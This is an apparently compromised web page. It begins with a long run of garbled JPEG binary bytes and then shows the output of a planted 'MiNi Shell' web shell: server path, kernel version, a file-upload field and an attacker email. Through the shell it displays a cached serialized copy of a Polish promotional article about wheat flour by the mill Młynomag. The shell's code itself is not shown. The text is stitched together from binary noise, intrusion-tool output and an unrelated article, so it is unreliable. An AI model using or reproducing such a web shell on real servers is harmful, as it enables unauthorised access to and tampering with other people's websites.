JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/e7/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/frontend/runtime/cache/e7/e7f8db6807b742d28500e95f3eb494da.bin

a:2:{i:0;a:2:{i:0;s:17712:" 
                    
                    <h3 class="title" itemprop="headline">Fakty i mity na temat mąki pszennej</h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong itemprop="datePublished"> 22-07-2022, 09:10</strong>
                        <meta itemprop="dateModified" content=" 22-07-2022, 09:10"/>
                        <div class="hide" itemprop="description">Mąka ma wszechstronne zastosowanie w kuchni. Dzięki niej może powstać dowolne ciasto, pizza, makaron, naleśniki czy pieczywo. Najbardziej popularną mąką w Polsce jest mąka pszenna. Jednak niektórzy uważają, że powinno się unikać jej spożywania. Jaka jest prawda na ten temat?</div>
                        <div class="hide" itemprop="publisher" itemscope itemtype="https://schema.org/Organization">
                            <meta itemprop="name" content="jedzenie.info.pl">
                            <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject">
                                <meta itemprop="url" content="https://www.jedzenie.info.pl/images/loga/jedzenie.jpg">
                            </div>
                        </div>
                        <div class="hide" itemprop="image" itemscope itemtype="https://schema.org/ImageObject">
                            <meta itemprop="url" content="https://common.v-manager.pl/uploads/images/articles/73421/crop/800x600/glowne_2-829551001658473990.webp">
                        </div>
                        <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.jedzenie.info.pl/artykuly/szczegoly/73421"/>
                        
                                        </p>

                    <div class="lorem">
                        <p><strong><img class="img-responsive" src="https://common.v-manager.pl/uploads/source/articles/73421/glowne_2.webp" alt="Fakty i mity na temat mąki pszennej" loading="lazy" /></strong></p>
<p><strong>Mąka ma wszechstronne zastosowanie w kuchni. Dzięki niej może powstać dowolne ciasto, pizza, makaron, naleśniki czy pieczywo. Najbardziej popularną mąką w Polsce jest mąka pszenna. Jednak niektórzy uważają, że powinno się unikać jej spożywania. Jaka jest prawda na ten temat?</strong></p>
<h3>Mąka pszenna – czy jest zdrowa?</h3>
<p>Pszenica nie bez przyczyny nazywana jest królową zbóż. Kiedyś była towarem dostępnym wyłącznie dla bogatych, dziś jest to zboże najczęściej stosowane do produkcji mąki. Zwolennicy zdrowej żywności często polecają całkowicie wykluczyć z diety mąkę pszenną. Inni natomiast uważają, że powinna być ona dla człowieka podstawowym źródłem węglowodanów. Najpierw zastanówmy się, skąd się wzięła zła sława mąki pszennej. Faktem jest, że nie wszystkim jest ona zalecana. Osoby, które nie tolerują glutenu, powinny wybierać mąki innego rodzaju. Zła sława mąki pszennej bierze się też stąd, że często produkty, które z niej powstają, nie należą do zdrowych. Jest tak na przykład w przypadku chleba. Tradycyjny chleb powinien składać się z mąki, zakwasu, wody i soli. Tymczasem w masowej produkcji często dodaje się spulchniacze i sztuczne barwniki oraz konserwanty, które sprawiają, że pieczywo staje się bardziej kaloryczne i ciężkostrawne. Wysokiej jakości mąka jest doskonałym źródłem błonnika, który pomaga kontrolować poziom cukru we krwi, chroni przed chorobami serca i zapobiega zaparciom, wspomagając odchudzanie. Błonnik jest bardzo ważny dla flory bakteryjnej jelit, która ma wpływ na działanie całego organizmu człowieka, a nawet na samopoczucie. Poza tym <a href="https://mlynomag.pl/maka-paczkowana/" target="_blank" rel="dofollow noopener"><strong>mąka pszenna</strong></a> zawiera więcej niż inne rodzaje mąki żelaza, wapnia i białka oraz składników odżywczych. Jest bogata w kwas foliowy, ryboflawinę oraz witaminy B1, B3 i B5. Ze względu na korzyści zdrowotne i szerokie zastosowanie mąki pszennej nie warto jej wykluczać z diety, jeśli nie ma do tego wskazań od lekarza. Trzeba jedynie pamiętać o tym, by wybierać dobrą mąkę, a produkty spożywcze, które są z niej wytwarzane, powinny zawierać jak najmniej konserwantów i sztucznych dodatków.</p>                        
                         


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            
                      
                        
                        
                    
                                        <div class="portal-light-background p1em mt1" itemprop="author" itemscope itemtype="https://schema.org/Person">
                        <strong>Źródło:</strong> 
                        <span itemprop="name">
                                                    
                            Młynomag Sp.j.                                                        
                                                    </span>
                        <br>
                    </div>
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=fakty+i+mity" class="label label-default">fakty i mity</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Młynomag" class="label label-default">Młynomag</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=mąka" class="label label-default">mąka</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=mąka+pszenna" class="label label-default">mąka pszenna</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.jedzenie.info.pl/artykuly/szczegoly/73421_fakty-i-mity-na-temat-maki-pszennej" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                                                                    <p class="strong">Artykuł został dodany przez firmę</p>
                        <div class="media list">
                            <div class="media-left">
                                                                <a class="fill light-border-right" href="/firmy/dane-kontaktowe/117275_mlynomag-spj">
                                    <div class="flex">
                                        <img loading="lazy" class="img-responsive inline" style="padding:0;width:100px;" src="https://common.v-manager.pl/uploads/images/companies/81629/frame/100x80/logo-939297001571963173.gif" alt="Młynomag Sp.j. - zdjęcie">
                                    </div>
                                </a>
                                                            </div>
                            <div class="media-body">
                                <a href="/firmy/dane-kontaktowe/117275_mlynomag-spj">
                                    <h5 class="media-heading title">Młynomag Sp.j.</h5>
                                </a>                                
                                                                    <p class="text-justify nomargin">Nasz młyn położony jest w sercu Warmii i Mazur, pośr&oacute;d żyznych p&oacute;l słynących z upraw zb&oacute;ż konsumpcyjnych. To korzystne położenie pozwala nam produkować mąkę z surowc&oacute;w najwyższej jakości. Mąka z &quot;Młynomagu&quot; jest w 100% naturalna.</p>
                                                
                                                                    <p class="text-right"><a class="btn btn-default portal-button" href="/firmy/dane-kontaktowe/117275_mlynomag-spj">Zapoznaj się z ofertą firmy</a></p>
                                                            </div>
                        </div>
                        <hr class="portal-hr">
                        <div class="clearfix"></div>
                    
                    <div id="articles">    
                        
                    
                                            <p class="strong">Inne publikacje firmy</p>  
                        
                        <div class="row">
                                                    
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/80306_zrodlo-smaku-czyli-skad-pozyskujemy-ziarno">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/80306/frame/80x60/mlynomag2-801663001712907813.webp" alt="Źródło smaku, czyli skąd pozyskujemy ziarno… - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/80306_zrodlo-smaku-czyli-skad-pozyskujemy-ziarno" class="media-body">
                                <h3 class="media-heading">Źródło smaku, czyli skąd pozyskujemy ziarno…</h3>
                                <p>W sercu malowniczej krainy Warmii i Mazur, otoczony bujną przyrodą i urokliwymi krajobrazami, znajdu...</p>
                            </a>
                        </div>
                        </div>
                                                                            
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/80305_mlynomag-w-gronie-firm-rodzinnych">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/80305/frame/80x60/mlynomag1_ffr-726385001712907422.webp" alt="Młynomag w gronie firm rodzinnych - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/80305_mlynomag-w-gronie-firm-rodzinnych" class="media-body">
                                <h3 class="media-heading">Młynomag w gronie firm rodzinnych</h3>
                                <p>Współcześnie coraz więcej firm zdaje sobie sprawę z wartości tradycji, stabilności i wartości rodzin...</p>
                            </a>
                        </div>
                        </div>
                        <div class="clearfix"></div>                                                    
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/78982_maka-ktora-czyni-cuda-magia-dobrej-maki">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/78982/frame/80x60/maka_mlynomag-920101001701081374.webp" alt="Mąka, która czyni cuda – magia dobrej mąki - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/78982_maka-ktora-czyni-cuda-magia-dobrej-maki" class="media-body">
                                <h3 class="media-heading">Mąka, która czyni cuda – magia dobrej mąki</h3>
                                <p>W naszych kuchniach jest magiczny skarb, który często bierzemy za pewnik. Jest nim mąka – podstawowy...</p>
                            </a>
                        </div>
                        </div>
                                                                            
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/78611_mlynomag-z-honorowa-odznaka-za-zaslugi-dla-rozwoju-gospodarki-rzeczypospolitej-polskiej">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/78611/frame/80x60/mlynomag2-565187001698383280.webp" alt="Młynomag z Honorową odznaką za Zasługi dla Rozwoju Gospodarki Rzeczypospolitej Polskiej - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/78611_mlynomag-z-honorowa-odznaka-za-zaslugi-dla-rozwoju-gospodarki-rzeczypospolitej-polskiej" class="media-body">
                                <h3 class="media-heading">Młynomag z Honorową odznaką za Zasługi dla Rozwoju Gospodarki Rzeczypospolitej Polskiej</h3>
                                <p>W dniach 19-20 września odbyła się Konferencja Gospodarcza Elbląg’23 zorganizowana przez Dziennik El...</p>
                            </a>
                        </div>
                        </div>
                        <div class="clearfix"></div>                                                    
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/77434_jak-zrobic-domowe-ciasto-do-pizzy">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/77434/frame/80x60/ciastodopizzy-710678001689321913.webp" alt="Jak zrobić domowe ciasto do pizzy? - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/77434_jak-zrobic-domowe-ciasto-do-pizzy" class="media-body">
                                <h3 class="media-heading">Jak zrobić domowe ciasto do pizzy?</h3>
                                <p>Pizza jest jednym z włoskich dań, które Polacy obdarzyli szczególnym uczuciem. Pyszne, chrupiące cia...</p>
                            </a>
                        </div>
                        </div>
                                                                            
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/75798_do-czego-mozna-uzyc-maki-orkiszowej">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/75798/frame/80x60/orkisz-467551001677138548.webp" alt="Do czego można użyć mąki orkiszowej? - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/75798_do-czego-mozna-uzyc-maki-orkiszowej" class="media-body">
                                <h3 class="media-heading">Do czego można użyć mąki orkiszowej?</h3>
                                <p>Nasza świadomość tego jak na samopoczucie i stan zdrowia wpływają spożywane przez nas jedzenie i pok...</p>
                            </a>
                        </div>
                        </div>
                        <div class="clearfix"></div>                                                </div>
                        
                                                <div class="clearfix"></div>
                        <hr class="portal-hr">
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:4:{i:0;s:13:"article_73421";i:1;s:8:"articles";i:2;s:22:"company_81629_articles";i:3;s:13:"company_81629";}s:4:"data";a:4:{s:32:"e885b0dd6d385077ba91147e0481eafc";s:21:"0.24210300 1721766447";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";s:32:"56d0333a115acb268260cadaedc273bc";s:21:"0.48695800 1744446729";s:32:"c6a7609bfdc964fc2342e7eab525e648";s:21:"0.74263700 1743073111";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com